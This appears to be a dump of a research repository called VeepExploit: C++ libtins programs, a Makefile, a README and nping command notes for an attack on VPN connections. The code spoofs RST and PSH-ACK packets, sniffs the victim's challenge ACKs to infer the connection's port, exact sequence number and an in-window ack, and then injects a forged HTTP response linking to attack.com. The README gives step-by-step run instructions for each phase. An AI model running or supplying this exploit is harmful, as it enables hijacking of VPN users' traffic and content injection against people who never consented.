|||
|
|||
current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip); |
|||
print_divider(1); |
|||
|
|||
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n"; |
|||
|
|||
cout << current_port << "\n"; |
|||
|
|||
if (quick_mode) { |
|||
is_found = true; |
|||
} else { |
|||
is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip); |
|||
} |
|||
|
|||
} |
|||
|
|||
return current_port; |
|||
|
|||
} |
|||
|
|||
|
|||
|
|||
|
|||
int main(int argc, char** argv) { |
|||
|
|||
if (argc != 5 && argc != 6) { |
|||
cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n"; |
|||
return 0; |
|||
} |
|||
|
|||
remote_addr = argv[1]; |
|||
int sport = atoi(argv[2]); |
|||
victim_wlan_addr = argv[3]; |
|||
string dest_ip = argv[4]; |
|||
//verbose = true;
|
|||
|
|||
string dest_mac = argv[5]; |
|||
string src_mac = ""; |
|||
|
|||
print_divider(2); |
|||
|
|||
thread sniff_thread(sniff_stuff); |
|||
|
|||
int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip); |
|||
is_running = false; |
|||
sniff_thread.detach(); |
|||
//sniff_thread.join();
|
|||
|
|||
print_divider(1); |
|||
if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n"; |
|||
cout << p << "\n"; |
|||
|
|||
return p; |
|||
} |
@ -0,0 +1,2 @@ |
|||
all: |
|||
g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11 |
@ -0,0 +1,694 @@ |
|||
#include <tins/tins.h>
|
|||
#include <cassert>
|
|||
#include <iostream>
|
|||
#include <string>
|
|||
#include <unistd.h>
|
|||
#include <thread>
|
|||
|
|||
|
|||
using std::thread; |
|||
using std::cout; |
|||
using std::vector; |
|||
using namespace Tins; |
|||
|
|||
long current_spoof_seq; |
|||
long current_spoof_ack; |
|||
long current_min_ack; |
|||
long best_seq = 0; |
|||
long best_ack; |
|||
|
|||
vector<long> possible_seqs; |
|||
vector<long> possible_acks; |
|||
|
|||
int num_sent = 0; |
|||
int current_round = 1; |
|||
bool ack_search = false; |
|||
bool track_nums = false; |
|||
bool count_chacks = false; |
|||
bool sniffed_chack = false; |
|||
|
|||
bool show = false; |
|||
bool testing = true; // if using netcat set to true, else false
|
|||
int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
|
|||
|
|||
std::string victim_wlan_addr, dest_ip, remote_addr; |
|||
int sport, dport, request_size, chack_count; |
|||
|
|||
|
|||
std::string dest_mac; // victim mac addr
|
|||
std::string src_mac = ""; // src mac doesn't matter
|
|||
|
|||
|
|||
void print_divider(int count) { |
|||
int i = 0; |
|||
while (i < count) { |
|||
cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; |
|||
i++; |
|||
} |
|||
} |
|||
|
|||
int inject_junk(long exact_seq, long in_win_ack) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
|
|||
std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>"; |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);; |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
|
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.seq(exact_seq); |
|||
tcp.ack_seq(in_win_ack); |
|||
|
|||
print_divider(2); |
|||
cout << "attempting to inject garbage into the connection..\n"; |
|||
cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n"; |
|||
|
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
|
|||
return 1; |
|||
|
|||
} |
|||
|
|||
|
|||
// Send the same probe a number of times
|
|||
// to see if the same amount of responses are
|
|||
// triggered from the client
|
|||
//
|
|||
bool rechack(long seq, long ack, int num_checks) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
count_chacks = true; |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");; |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
|
|||
if (ack == 0) { |
|||
tcp.set_flag(TCP::RST, 1); |
|||
} else { |
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.ack_seq(ack); |
|||
} |
|||
|
|||
|
|||
tcp.seq(seq); |
|||
chack_count = 0; |
|||
int count = 0; |
|||
usleep(1000000 / 2); |
|||
|
|||
while (count < num_checks) { |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
|
|||
count ++; |
|||
} |
|||
|
|||
usleep(1000000); |
|||
|
|||
// should have just sniffed as many chacks as we just sent
|
|||
cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n"; |
|||
|
|||
if (chack_count >= num_checks) { |
|||
return true; |
|||
} |
|||
|
|||
count_chacks = false; |
|||
|
|||
return false; |
|||
|
|||
} |
|||
|
|||
|
|||
// Use the fact the client will respond to empty PSH-ACKs
|
|||
// that have an in window ack AND a sequence number less than the exact
|
|||
// next expected sequence, with chall-acks to infer exact sequence num
|
|||
//
|
|||
long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");; |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
|
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.ack_seq(in_win_ack); |
|||
|
|||
count_chacks = false; |
|||
track_nums = false; |
|||
|
|||
long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
|
|||
sniffed_chack = false; |
|||
long curr_seq = in_win_seq; |
|||
|
|||
// Continually decrement the in window sequence number
|
|||
// until we sniff a chack which means we just passed the
|
|||
// left edge of the sequence window
|
|||
//
|
|||
print_divider(1); |
|||
bool is_found = false; |
|||
|
|||
while (!is_found) { |
|||
|
|||
long j = curr_seq; |
|||
sniffed_chack = false; |
|||
|
|||
while (j > min_seq && !sniffed_chack) { |
|||
usleep(send_delay); |
|||
cout << "spoofing with seq: " << j << "\n"; |
|||
|
|||
tcp.seq(j); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
j -= 1; |
|||
} |
|||
|
|||
usleep(100000); |
|||
curr_seq = best_seq; |
|||
cout << "best seq at end of exact scan: " << curr_seq << "\n"; |
|||
|
|||
print_divider(1); |
|||
is_found = rechack(curr_seq, in_win_ack, 2); |
|||
if (show) cout << "exact seq was in win after rechack? " << is_found << "\n"; |
|||
|
|||
} |
|||
|
|||
return curr_seq; |
|||
} |
|||
|
|||
|
|||
// Use the fact the client will respond to empty PSH-ACKs
|
|||
// that have an in window sequence number AND ack number less than the
|
|||
// ack number in use with chall-acks to infer an in-window ack number
|
|||
//
|
|||
long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
|
|||
// Loop over ack space sending empty push-acks
|
|||
// that user the in window sequence number found before
|
|||
//
|
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");; |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.seq(in_win_seq); |
|||
|
|||
sniffed_chack = false; |
|||
chack_count = 0; |
|||
count_chacks = true; |
|||
track_nums = true; |
|||
|
|||
current_min_ack = min_ack; |
|||
long j = max_ack; |
|||
long current_ack = 0; |
|||
best_ack = 0; |
|||
|
|||
|
|||
while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
|
|||
usleep(send_delay); |
|||
|
|||
tcp.ack_seq(j); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
|
|||
if (verbose && show) cout << "spoofing with ack: " << j << "\n"; |
|||
|
|||
if (j < 100000000) { // for tiny ack range
|
|||
j -= block_size / 100; |
|||
|
|||
} else { |
|||
j -= block_size; |
|||
} |
|||
} |
|||
|
|||
usleep(100000); |
|||
|
|||
|
|||
for (int i = 0; i < possible_acks.size(); i ++) { |
|||
long cack = possible_acks[i]; |
|||
if (cack > current_ack) current_ack = cack; |
|||
|
|||
} |
|||
cout << "best ack at end of ack scan: " << current_ack << "\n"; |
|||
track_nums = false; |
|||
|
|||
return current_ack; |
|||
} |
|||
|
|||
// Finds the "quiet" portion of the ack range to
|
|||
// start scanning and then begins to find an approx
|
|||
// ack block close to the one being used
|
|||
//
|
|||
long quack_spread(long in_win_seq) { |
|||
|
|||
cout << "starting quack spread w seq: " << in_win_seq << "\n"; |
|||
|
|||
long start_ack_guess = 4294967294 / 2; |
|||
long end_ack_guess = 100; |
|||
|
|||
long block_size = 100000000; |
|||
sniffed_chack = false; // assume its gonna find an ack here first
|
|||
|
|||
|
|||
// if the actual ack is less than half of the max_ack allowed,
|
|||
// then it will consider acks at the very top end of the ack space (~429.....)
|
|||
// to be less than that small ack. therefore, we check if the max ack
|
|||
// triggers chacks right away, if so then we half the start_ack guess (~214....)
|
|||
|
|||
|
|||
bool triggering = rechack(in_win_seq, start_ack_guess, 3); |
|||
|
|||
cout << "is ack in upper half? " << triggering << "\n"; |
|||
|
|||
if (triggering) { // then we know the ack is in the lower half of the ack space
|
|||
start_ack_guess = start_ack_guess * 2; |
|||
} |
|||
|
|||
long j = start_ack_guess; |
|||
sniffed_chack = false; |
|||
print_divider(1); |
|||
|
|||
// Now continually decrement ack until we trigger another chack
|
|||
//
|
|||
|
|||
int send_delay = 75000; |
|||
bool is_found = false; |
|||
long current_ack = 0; |
|||
|
|||
while (!is_found) { |
|||
|
|||
current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1); |
|||
|
|||
cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n"; |
|||
print_divider(1); |
|||
|
|||
// recheck and send multiple to make sure we found correct ack block
|
|||
is_found = rechack(in_win_seq, current_ack, 2); |
|||
if (show) cout << "was in win after rechack? " << is_found << "\n"; |
|||
|
|||
if (!is_found) start_ack_guess = current_ack; |
|||
} |
|||
|
|||
|
|||
return current_ack; |
|||
} |
|||
|
|||
// Use the fact the client will respond to RSTs
|
|||
// with an in-window sequence number with chall-acks to
|
|||
// infer an in-window seq number
|
|||
//
|
|||
long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
|
|||
long max_seq = top_seq; |
|||
long adder = prev_block_size * delay_mult; |
|||
|
|||
cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n"; |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::RST, 1); |
|||
|
|||
long i; |
|||
|
|||
for (i = (max_seq - adder); i < max_seq; i += new_block_size) { |
|||
tcp.seq(i); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(send_delay); |
|||
} |
|||
|
|||
cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n"; |
|||
|
|||
return best_seq; |
|||
|
|||
} |
|||
|
|||
|
|||
// Attempt to sniff challenge acks while recording
|
|||
// the last sequence or ack number we spoofed
|
|||
//
|
|||
bool handle_packet(PDU &some_pdu) { |
|||
|
|||
const IP &ip = some_pdu.rfind_pdu<IP>(); |
|||
|
|||
if (ack_search) { |
|||
// keep track of the last ack num we spoofed
|
|||
if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq(); |
|||
|
|||
if (ip.src_addr() == victim_wlan_addr) { |
|||
|
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
//cout << payload << "\n";
|
|||
|
|||
if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
|
|||
if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n"; |
|||
if (count_chacks) chack_count += 1; |
|||
if (track_nums) possible_acks.push_back(current_spoof_ack); |
|||
if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack; |
|||
sniffed_chack = true; |
|||
} |
|||
} |
|||
|
|||
} else if (sniff_request == 1) { |
|||
// sniffing for a certain client request size (last step after finding seq and ack)
|
|||
if (ip.src_addr() == victim_wlan_addr) { |
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
cout << "sniffed cli request of size " << payload << "\n"; |
|||
if (payload == request_size) { |
|||
sniff_request = 2; |
|||
} |
|||
} |
|||
|
|||
} else { // sniffing for chack during sequence search
|
|||
|
|||
// keep track of the last sequence num we spoofed
|
|||
if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq(); |
|||
|
|||
if (ip.src_addr() == victim_wlan_addr) { |
|||
|
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
//cout << payload << "\n";
|
|||
const int remainder = payload % 67; |
|||
|
|||
if (payload == 79) { |
|||
|
|||
if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n"; |
|||
|
|||
if (track_nums) { |
|||
best_seq = current_spoof_seq; |
|||
possible_seqs.push_back(current_spoof_seq); |
|||
} else if (count_chacks) { //
|
|||
chack_count += 1; |
|||
best_seq = current_spoof_seq; |
|||
} else { |
|||
if (!sniffed_chack) { |
|||
|
|||
if (best_seq == 0) { // still in initial seq spread
|
|||
best_seq = current_spoof_seq; |
|||
sniffed_chack = true; |
|||
} else { |
|||
// make sure new seq is less than the previous sniffed one
|
|||
if (current_spoof_seq < best_seq) { |
|||
best_seq = current_spoof_seq; |
|||
sniffed_chack = true; |
|||
} |
|||
} |
|||
|
|||
} |
|||
} |
|||
|
|||
} |
|||
|
|||
} |
|||
} |
|||
|
|||
return true; |
|||
} |
|||
|
|||
void sniff_stuff() { |
|||
SnifferConfiguration config; |
|||
config.set_promisc_mode(true); |
|||
Sniffer sniffer("wlp1s0", config); |
|||
sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
|
|||
} |
|||
|
|||
|
|||
// Try to find an in window sequence number using
|
|||
// one of the very rough estimates found in the first
|
|||
// sequence spread
|
|||
long try_seq_block(long current_seq) { |
|||
|
|||
// Just did round 1 spoofing fast to get rough estimate of
|
|||
// in window sequence number, now we send a round 2 and 3 spreads
|
|||
// using the approximated seq with lower send rates
|
|||
|
|||
current_round = 2; |
|||
sniffed_chack = false; |
|||
int wait_count = 0; |
|||
best_seq = current_seq; |
|||
usleep(1000000 / 2); |
|||
|
|||
// this will take into account the last block size of 50k,
|
|||
// skip in blocks of 1055 seq nums per send, assume the last
|
|||
// rounds delay was 80 packets for a response, and send every 150 msecs
|
|||
long s1 = find_seq_block(50000, 1055, 80, 150, current_seq); |
|||
|
|||
while (best_seq == current_seq) { |
|||
usleep(500000); |
|||
if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
|
|||
wait_count +=1; |
|||
if (wait_count > 5) return -1; |
|||
} |
|||
|
|||
// Now we should have a close estimate to an in-window seq
|
|||
// so next do a third scan at much slower rate to ensure its
|
|||
// an in-window sequence num
|
|||
print_divider(1); |
|||
usleep(1000000 / 2); |
|||
|
|||
sniffed_chack = false; |
|||
current_round += 1; |
|||
current_seq = best_seq; |
|||
wait_count = 0; |
|||
|
|||
long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
|
|||
|
|||
while (best_seq == current_seq) { |
|||
usleep(500000); |
|||
if (show) cout << "waiting on round 3 chack..\n"; |
|||
wait_count +=1; |
|||
if (wait_count > 5) return -1; |
|||
} |
|||
|
|||
return best_seq - 10000; // subtract 10k for wifi delay
|
|||
|
|||
} |
|||
|
|||
// Gets rough estimate of sequence number in use
|
|||
// by spreading entire sequence range quicly then
|
|||
// tries to find in win sequence using each
|
|||
//
|
|||
long find_in_win_seq() { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
|
|||
long start_seq_guess = 1; |
|||
long max_seq_num = 4294967295; |
|||
track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
|
|||
|
|||
cout << "spreading the connections entire sequence number range...\n"; |
|||
usleep(1000000 / 2); |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::RST, 1); |
|||
|
|||
long i; |
|||
|
|||
for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
|
|||
tcp.seq(i); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(10); |
|||
} |
|||
usleep(1000000); |
|||
cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n"; |
|||
|
|||
track_nums = false; |
|||
int j = 0; |
|||
long in_win_seq = -1; |
|||
|
|||
while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
|
|||
print_divider(1); |
|||
current_round = 0; |
|||
if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n"; |
|||
in_win_seq = try_seq_block(possible_seqs[j]); |
|||
j ++; |
|||
if (show) cout << "in win seq after try? " << in_win_seq << "\n"; |
|||
usleep(1000000 / 2); |
|||
} |
|||
|
|||
|
|||
possible_seqs.clear(); |
|||
track_nums = false; |
|||
|
|||
print_divider(1); |
|||
usleep(1000000 / 2); |
|||
|
|||
return best_seq; |
|||
|
|||
} |
|||
|
|||
|
|||
// Send two spoof rounds while increasing the send delay and
|
|||
// decreasing block size to quickly get in-win ack estimate
|
|||
//
|
|||
long find_in_win_ack(long in_win_seq) { |
|||
|
|||
// quack should be below current ack in use but we only rechack once first round
|
|||
ack_search = true; |
|||
long quack = quack_spread(in_win_seq); |
|||
|
|||
// Spoof empty PSH-ACKs starting at 'quack' plus some send delay
|
|||
// until we sniff a chack and know we just went below the left
|
|||
// edge of the ack window
|
|||
usleep(1000000); |
|||
print_divider(1); |
|||
possible_acks.clear(); |
|||
|
|||
long block_size = 10000; |
|||
int send_delay = 500; |
|||
long max_ack = quack + (1 * 100000000); |
|||
long min_ack = quack; |
|||
long clack; |
|||
|
|||
bool is_found = false; |
|||
|
|||
while (!is_found) { // retry ack scan until we find block triggering chacks
|
|||
|
|||
cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n"; |
|||
clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2); |
|||
|
|||
is_found = rechack(in_win_seq, clack, 2); |
|||
if (show) cout << "was in win after rechack? " << is_found << "\n"; |
|||
int i = 0; |
|||
|
|||
while (!is_found && i < possible_acks.size()) { |
|||
long some_ack = possible_acks[i]; |
|||
if (show) cout << "finished ack scan 1 w possible in window ack: " << some_ack << "\n"; |
|||
print_divider(1); |
|||
|
|||
is_found = rechack(in_win_seq, some_ack, 2); |
|||
if (show) cout << "was in win after rechack? " << is_found << "\n"; |
|||
i ++; |
|||
if (is_found) clack = some_ack; |
|||
|
|||
} |
|||
max_ack = clack; |
|||
} |
|||
|
|||
possible_acks.clear(); |
|||
usleep(1000); |
|||
|
|||
|
|||
// clack should be an in window ack so now we have both in window
|
|||
// sequence and in window ack numbers.
|
|||
//
|
|||
ack_search = false; |
|||
track_nums = false; |
|||
|
|||
// clack has been consistently within 40k of next ack while testing but
|
|||
// in practical use it needs to be less than the expected ack by at most
|
|||
// 20k to be accepted as a valid ack, so here we add 20k to counter our delay
|
|||
// but we could add a third ack scan to make it more accurate
|
|||
//
|
|||
long in_win_ack = clack + 30000; // adding extra 30k for wifi delay
|
|||
return in_win_ack; |
|||
} |
|||
|
|||
|
|||
// After we've found exact seq and in-win ack, attacker waits
|
|||
// for a specific request size to inject the response into
|
|||
//
|
|||
int wait_for_request(long exact_seq, long in_win_ack) { |
|||
sniff_request = 1; |
|||
int res = 0; |
|||
|
|||
while (sniff_request != 2) { |
|||
usleep(500000); |
|||
if (show) cout << "waiting for request of size..\n"; |
|||
} |
|||
|
|||
if(show) cout << "Sniffed request packet to respond to\n"; |
|||
|
|||
res = inject_junk(exact_seq, in_win_ack); |
|||
|
|||
return res; |
|||
} |
|||
|
|||
// Attempt to infer the exact sequence number
|
|||
// and in-window ack in use by the connection
|
|||
//
|
|||
int phase_three_spread() { |
|||
|
|||
bool is_found = false; |
|||
long in_win_seq = 0; |
|||
|
|||
// Loop until we find in window seq
|
|||
while (!is_found) { |
|||
in_win_seq = find_in_win_seq(); |
|||
print_divider(1); |
|||
|
|||
is_found = rechack(in_win_seq, 0, 2); |
|||
cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n"; |
|||
if (!is_found) usleep(1000000 / 2); |
|||
} |
|||
|
|||
// At this point we should have an in-window sequence number and
|
|||
// next step is to find an in-window ack number for the connection
|
|||
//
|
|||
usleep(1000000 / 2); |
|||
|
|||
long in_win_ack = find_in_win_ack(in_win_seq); |
|||
in_win_ack += 40000; // add 40k for wifi delay
|
|||
|
|||
cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n"; |
|||
|
|||
// jump back 40 for wifi delay
|
|||
long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
|
|||
cout << "final exact seq guess: " << exact_seq << "\n"; |
|||
cout << "total number of packets sent: " << num_sent << "\n"; |
|||
print_divider(2); |
|||
|
|||
int res = 0; |
|||
|
|||
if (testing) { // for netcat
|
|||
res = inject_junk(exact_seq, in_win_ack); |
|||
} else { // for normal http injection
|
|||
cout << "waiting for client to request any page within inferred connection..."; |
|||
res = wait_for_request(exact_seq, in_win_ack); |
|||
} |
|||
|
|||
return res; |
|||
|
|||
} |
|||
|
|||
|
|||
int main(int argc, char** argv) { |
|||
|
|||
if (argc != 8) { |
|||
cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n"; |
|||
return 0; |
|||
} |
|||
|
|||
remote_addr = argv[1]; |
|||
sport = atoi(argv[2]); |
|||
victim_wlan_addr = argv[3]; |
|||
dest_ip = argv[4]; |
|||
dest_mac = argv[5]; |
|||
dport = atoi(argv[6]); |
|||
request_size = atoi(argv[7]); |
|||
|
|||
thread sniff_thread(sniff_stuff); |
|||
print_divider(2); |
|||
|
|||
int r = phase_three_spread(); |
|||
|
|||
sniff_thread.detach(); |
|||
//sniff_thread.join();
|
|||
|
|||
return 0; |
|||
} |
@ -0,0 +1,83 @@ |
|||
# VeepExploit |
|||
|
|||
The current version of VPN attack code |
|||
|
|||
|
|||
|
|||
##### Attack Machine Environment |
|||
|
|||
* C++ |
|||
* libtins (http://libtins.github.io/download/) |
|||
|
|||
|
|||
## Server-side attack |
|||
|
|||
|
|||
#### Requirements |
|||
|
|||
* VPN client connected to a VPN server |
|||
* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two |
|||
|
|||
***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder |
|||
|
|||
|
|||
#### Running the DNS Attack Script |
|||
|
|||
1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan` |
|||
2. Compile attack script - `make` |
|||
3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp` |
|||
3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>` |
|||
|
|||
|
|||
|
|||
## Client-side attack |
|||
|
|||
|
|||
#### Requirements |
|||
|
|||
* VPN client connected to a VPN server |
|||
* Reverse path filtering disabled on the VPN client machine |
|||
* Attack router acting as the local network gateway for the victim (VPN client) machine |
|||
|
|||
|
|||
#### Running the Full Attack Script |
|||
|
|||
* Rebuild all the attack scripts: `./rebuild_all.sh` |
|||
* `cd full_attack` |
|||
* Change `attack.sh` vars to appropriate values |
|||
* `sh attack.sh <remote_ip>` |
|||
|
|||
***Note:*** `remote_ip` specifies the IP address of the HTTP site. |
|||
|
|||
|
|||
#### Testing Indivual attack phases |
|||
|
|||
|
|||
##### Phase 1 - Infer victim's private address |
|||
|
|||
* `cd first_phase` |
|||
* `python3 send.py <victim_public_ip> <private_ip_range>` |
|||
|
|||
***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`. |
|||
|
|||
|
|||
##### Phase 2 - Infer the port being used to talk to some remote address |
|||
|
|||
* `cd sec_phase` |
|||
* Edit `send.cpp` to use the correct MAC addresses |
|||
* `g++ send.cpp -o send -ltins` |
|||
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>` |
|||
|
|||
***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system. |
|||
|
|||
|
|||
##### Phase 3 - Infer exact sequence number and in-window ack |
|||
|
|||
* `cd third_phase` |
|||
* Edit `send.cpp` to use the correct MAC addresses |
|||
* `g++ send.cpp -o send -ltins` |
|||
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>` |
|||
|
|||
|
|||
***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified. |
|||
|
@ -0,0 +1,28 @@ |
|||
Nping pcap commands during each phase: |
|||
|
|||
On attacker machine: `sudo tcpdump -i wlp1s0 -nnvvS not src port 22 and not dst port 22 -w wash_attacker.pcap` |
|||
|
|||
On victim macine: `sudo tcpdump -i any -nnvvS not src port 22 and not dst port 22 -w vic_any_capture_wash.pcap` |
|||
|
|||
|
|||
|
|||
Attacker commands |
|||
|
|||
Phase 2: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags SA -p 40402` |
|||
|
|||
Phase 3: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags R -p 40404 --seq 4253820601` |
|||
|
|||
|
|||
|
|||
Addresses in netcat example: |
|||
|
|||
|
|||
Phase 2 pcap: --> (netcat 172.217.12.14 80 |